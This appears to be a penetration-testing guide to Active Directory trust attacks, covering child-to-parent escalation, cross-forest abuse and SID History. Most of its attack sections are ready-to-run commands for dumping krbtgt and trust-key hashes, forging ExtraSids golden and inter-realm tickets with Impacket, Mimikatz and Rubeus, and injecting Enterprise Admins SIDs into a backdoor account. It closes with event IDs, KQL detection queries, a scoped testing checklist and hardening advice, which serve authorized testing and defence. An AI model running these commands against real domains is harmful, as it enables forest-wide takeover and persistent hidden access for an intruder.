AD Trust Attacks
Active Directory trusts allow authentication across domain and forest boundaries. By abusing trust keys, SID History, and ExtraSids, an attacker who compromises one domain can pivot to trusted domains — potentially reaching the entire forest. This guide covers intra-forest, inter-forest, and PAM trust exploitation.
Danger
Quick Navigation
Fundamentals
Attack Techniques
Detection
Why Trust Attacks Are Critical
- Forest-Wide Impact: Compromising the root domain's krbtgt hash gives domain admin across the entire forest via ExtraSids golden tickets.
- Scope Expansion: Trust attacks turn a single domain compromise into multi-domain or multi-forest access.
- Common Architecture: Most enterprises with multiple environments (dev/prod, acquisitions, partners) use AD trusts.
- Weak Filtering: Many organizations don't enable SID filtering on intra-forest trusts, making child→parent escalation trivial.
Trust Types & Direction
| Trust Type | Direction | SID Filtering | Attack Viability |
|---|---|---|---|
| Parent-Child (Intra-forest) | Bidirectional, transitive | Disabled by design | ExtraSids → Forest Root DA |
| Shortcut (Intra-forest) | One-way or bidirectional | Disabled by design | Same as parent-child |
| External (Inter-forest) | One-way or bidirectional | Enabled | Limited — SID filtering blocks most attacks |
| Forest (Inter-forest) | One-way or bidirectional | Enabled | TGT delegation, shared resources, selective auth bypass |
| PAM Trust | One-way (bastion → production) | Enabled | Shadow principal abuse |
Trust Enumeration
# PowerView — enumerate all trusts
Get-DomainTrust
Get-ForestDomain | Get-DomainTrust
# Detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType,
TrustDirection, TrustAttributes
# BloodHound — visualize trust relationships
MATCH p=()-[:TrustedBy]->() RETURN p
# nltest (built-in Windows)
nltest /domain_trusts /all_trusts /v
# NetExec
nxc ldap dc01.corp.local -u user -p 'Pass123' --trusted-for-delegation
# From Linux — enumerate trusts via LDAP
ldapsearch -x -H ldap://dc01.corp.local -b "CN=System,DC=corp,DC=local" \
"(objectClass=trustedDomain)" cn trustDirection trustType trustAttributesSID Filtering
SID Filtering strips SIDs from foreign domains from the token during cross-trust authentication.
Within a forest, SID filtering is disabled by design — this is why child→parent Domain Admin
escalation always works within a forest. Cross-forest trusts have SID filtering enabled by default but can be
relaxed via TREAT_AS_EXTERNAL or TrustAttribute: 0x40.
# Check SID filtering status on a trust
Get-ADTrust -Filter * | Select-Object Name, Direction,
DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware
# Check trust attributes
netdom trust child.corp.local /domain:corp.local /quarantineInformation
0x01 = Non-transitive, 0x04 = SID Filtering (quarantine),
0x08 = Forest Trust, 0x40 = TREAT_AS_EXTERNAL (relaxes SID filtering — exploitable).
Child Domain → Parent Domain (ExtraSids)
With DA in a child domain, forge a Golden Ticket with the Enterprise Admins SID from the parent domain in the ExtraSids field. Since SID filtering is disabled within a forest, the parent DC honors the EA SID and grants full access to the forest root.
Method 1: ExtraSids Golden Ticket
# Prerequisites: krbtgt hash of child domain + Enterprise Admins SID of parent
# Step 1: Get child domain krbtgt hash (requires DA on child)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' -just-dc-user krbtgt
# Step 2: Get the Enterprise Admins SID from parent domain
# Enterprise Admins SID = <parent-domain-SID>-519
lookupsid.py 'child.corp.local/admin:Password1@parent-dc01.corp.local' 0
# Step 3: Forge Golden Ticket with ExtraSids
ticketer.py -nthash <krbtgt-hash> -domain-sid S-1-5-21-child \
-domain child.corp.local -extra-sid S-1-5-21-parent-519 \
Administrator
# Step 4: Use the ticket against parent DC
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc01.corp.localMethod 2: Trust Key (Inter-Realm TGT)
# Step 1: Extract the trust key from child DC
# The trust key is the NTLM hash of the trust account (CHILD$)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' \
-just-dc-user 'CHILD$'
# Step 2: Forge inter-realm TGT with ExtraSids
ticketer.py -nthash <trust-key-hash> -domain-sid S-1-5-21-child \
-domain child.corp.local -extra-sid S-1-5-21-parent-519 \
-spn krbtgt/corp.local Administrator
# Step 3: Request service ticket and access parent DC
getST.py -k -no-pass -spn cifs/parent-dc01.corp.local corp.local/Administrator
export KRB5CCNAME=Administrator@cifs_parent-dc01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass parent-dc01.corp.localWith Mimikatz / Rubeus (Windows)
# Mimikatz — Golden Ticket with ExtraSids
kerberos::golden /user:Administrator /domain:child.corp.local \
/sid:S-1-5-21-child /krbtgt:<krbtgt-hash> \
/sids:S-1-5-21-parent-519 /ptt
# Rubeus — create golden ticket with extra SIDs
Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator \
/domain:child.corp.local /sid:S-1-5-21-child \
/sids:S-1-5-21-parent-519 /ptt
# Verify access to parent DC
dir \\parent-dc01.corp.local\c$
# DCSync the parent
lsadump::dcsync /domain:corp.local /user:corpkrbtgtSID History Injection
SID History is an attribute designed for domain migrations — it preserves the old SID so users keep access to resources in the source domain. Attackers can inject arbitrary SIDs (including Enterprise Admins) into a user's SID History for persistent cross-domain access.
# Mimikatz — inject SID History into a user account
# Requires Domain Admin on current domain
privilege::debug
sid::patch
sid::add /sam:backdoor-user /new:S-1-5-21-parent-519
# The user now has Enterprise Admins privileges when authenticating
# This persists across password changes and even across krbtgt rotations
# DSInternals — add SID History
Stop-Service ntds -Force
Add-ADDBSidHistory -SamAccountName backdoor-user \
-SidHistory S-1-5-21-parent-519 -DatabasePath 'C:\Windows\NTDS
tds.dit'
Start-Service ntdsWarning
Cross-Forest Attacks
Cross-forest trust attacks are more limited due to SID filtering. However, several vectors remain viable:
Shared Resources & Groups
# Enumerate cross-forest group memberships
Get-DomainForeignGroupMember -Domain partner.com
Get-DomainForeignUser -Domain partner.com
# Find resources shared across the trust
Get-DomainObjectAcl -Domain partner.com -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match 'S-1-5-21-<our-domain>' }
# BloodHound — cross-forest paths
MATCH p=()-[:MemberOf|HasSession|AdminTo*1..]->(g:Group)
WHERE g.domain <> "CORP.LOCAL" RETURN pTREAT_AS_EXTERNAL Abuse
If TrustAttributes includes TREAT_AS_EXTERNAL (0x40), SID filtering is relaxed —
domain-local group SIDs from the trusting forest can pass through the trust boundary.
# Find trusts with TREAT_AS_EXTERNAL
Get-ADTrust -Filter * | Where-Object { $_.TrustAttributes -band 0x40 } |
Select-Object Name, TrustAttributes
# Forge ticket with domain-local group SIDs from target forest
ticketer.py -nthash <trust-key> -domain-sid S-1-5-21-foreign \
-domain foreign.com -extra-sid S-1-5-21-target-<RID> \
-spn krbtgt/TARGET.COM AdministratorTrust Key Extraction
# Extract trust keys from a DC (requires DA)
# Mimikatz
lsadump::trust /patch
# Impacket secretsdump — trust accounts end with $
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
-just-dc-user 'PARTNER$'
# Trust keys are the NTLM hash of the inter-realm trust password
# Used to encrypt inter-realm TGTs (krbtgt/PARTNER.COM)
# Rotate by: netdom trust corp.local /domain:partner.com /resetpwDetection & Blue Team
| Event ID | Source | Indicator |
|---|---|---|
| 4765 | Security | SID History added to an account |
| 4766 | Security | SID History add attempt failed |
| 4768 | Security | TGT requested — look for inter-realm referrals with suspicious SIDs |
| 4769 | Security | Cross-domain service ticket requests — unusual source domains |
KQL Detection
// Detect SID History modifications
SecurityEvent
| where EventID in (4765, 4766)
| project TimeGenerated, SubjectUserName, TargetUserName, SidHistory
// Detect Golden Ticket with ExtraSids (anomalous TGT)
SecurityEvent
| where EventID == 4768
| where TargetDomainName != ServiceInfo // Cross-domain TGT
| project TimeGenerated, TargetUserName, TargetDomainName, IpAddress
// Detect cross-forest Kerberos activity
SecurityEvent
| where EventID == 4769
| where ServiceName contains "$" // Trust account service tickets
| where TargetDomainName != ServiceDomainName
| project TimeGenerated, TargetUserName, ServiceName, IpAddressEvidence Collection
The trust:
Source and target domain, direction, trust attributes and SID-filtering state — Get-ADTrust output, not a summary.
The key: For trust-key abuse, the trust account whose hash you extracted and the 4662 that shows you read it.
The ticket: The inter-realm TGT and the ExtraSid it carries, plus the parent-domain action it unlocked.
The write: For SID History, the 4765 and the account you modified — this is a directory change the client must revert.
CVSS range: Child-to-parent ExtraSids: 9.8 · SID History injection: 8.8 · cross-forest TREAT_AS_EXTERNAL abuse: 8.8.
False Positive Identification
- SID filtering disabled inside a forest: That is by design for parent-child trusts. It becomes a finding only when paired with a compromised child domain.
- A foreign group member: Cross-forest membership is the point of a trust. It is a path, not a finding, until the group grants privilege in the target.
- A 4765 from a migration: SID History is a migration tool and legitimate projects add entries. Check the change window and the operator account.
- An inter-realm TGT: Referral tickets are normal Kerberos. The tell is an ExtraSid for a group the user is not a member of.
- TREAT_AS_EXTERNAL on a legacy trust: Some old external trusts carry it for compatibility. Confirm the flag is on a trust that matters before reporting it.
- A parent-domain access that was already granted: Enterprise Admins in the parent may legitimately hold rights in the child. Establish the baseline direction before claiming escalation.
Testing Checklist
Map before you cross
- ☐ Enumerate every trust: direction, type, attributes, SID filtering
- ☐ Confirm in writing that each target domain or forest is in scope
- ☐ Identify which domain you hold DA in, and which is the parent
- ☐ Check whether the trust key is reachable with your current rights
Cross once, prove the path
- ☐ Forge one inter-realm ticket and perform one action in the parent
- ☐ Prefer a read (a share listing, a single DCSync) over a sweep
- ☐ Record anything you add to SID History so the client can remove it
- ☐ Re-check the trust after cleanup — SID History survives password resets
Remediation & Hardening
Constrain the trust
- • Keep quarantine (SID filtering) enabled on external and forest trusts
- • Use selective authentication so only named users can reach resources across the boundary
- • Remove TREAT_AS_EXTERNAL unless a documented compatibility requirement needs it
Protect the boundary
- • Tier 0 the forest root: the parent krbtgt and trust keys are the keys to every domain below it
- • Rotate trust keys with
netdom trust /resetpwafter any domain compromise, and rotate krbtgt twice - • Do not let a child-domain administrator hold rights in the parent by default — audit the exception list
Detect the crossing
- • Alert on 4765/4766 (SID History) and audit the attribute across all user objects
- • Correlate 4768/4769 across domain boundaries; a referral with an unexpected ExtraSid is the signal
- • Log and review trust-attribute changes — a new TREAT_AS_EXTERNAL flag is a control bypass, not housekeeping